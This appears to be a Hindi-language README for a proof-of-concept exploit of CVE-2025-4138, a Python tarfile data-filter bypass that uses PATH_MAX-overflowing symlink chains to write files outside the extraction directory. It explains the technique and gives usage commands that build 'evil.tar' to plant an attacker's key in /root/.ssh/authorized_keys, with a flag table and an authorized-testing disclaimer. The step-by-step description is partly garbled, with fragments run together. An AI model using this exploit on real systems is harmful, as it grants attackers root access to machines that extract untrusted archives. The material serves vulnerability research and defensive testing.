
CVE-2025-4138 - Python मनमाना फ़ाइल लेखन निष्कर्षण निर्देशिका के बाहर
filter="data" बाइपासनिष्कर्षण निर्देशिका के बाहर PATH_MAX सिमलिंक श्रृंखला के माध्यम से मनमाना फ़ाइल लेखन।
रिपोर्टर: Caleb Brown (Google)
Python का tarfile डेटा फ़िल्टर os.path.realpath() का उपयोग करके सिमलिंक लक्ष्यों को मान्य करता है। जब हल किया गया पथ PATH_MAX (Linux पर 4096 बाइट्स) से अधिक हो जाता है, तो realpath() चुपचाप हल करना बंद कर देता है और शेष घटकों — ../ सहित — को शाब्दिक स्ट्रिंग के रूप में जोड़ देता है। फ़िल्टर एक सुरक्षित पथ देखता है; कर्नेल वास्तविक ट्रैवर्सल का अनुसरण करता है।
एक्सप्लॉइट चार चरणों वाला एक tar बनाता है:
a→ddd..., b→ddd...). हल किए गए पथ को ~3968 बाइट्स तक बढ़ा देता है।../ × 16. realpath() ओवरफ्लो हो जाता है और इसे हल नहीं कर पाता। कर्नेल वापस निष्कर्षण रूट पर चला जाता है।/ तक ऊपर, और लक्ष्य निर्देशिका तक नीचे रूट करता है।ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| Flag | Description |
|---|---|
-o | आउटपुट tar पथ |
-t | लक्ष्य पर लिखने के लिए फ़ाइल का पूर्ण पथ |
-p | पेलोड सामग्री के रूप में उपयोग करने के लिए स्थानीय फ़ाइल |
-m | ऑक्टल फ़ाइल अनुमतियाँ (डिफ़ॉल्ट: 0644) |
केवल अधिकृत सुरक्षा परीक्षण और CTF उपयोग के लिए।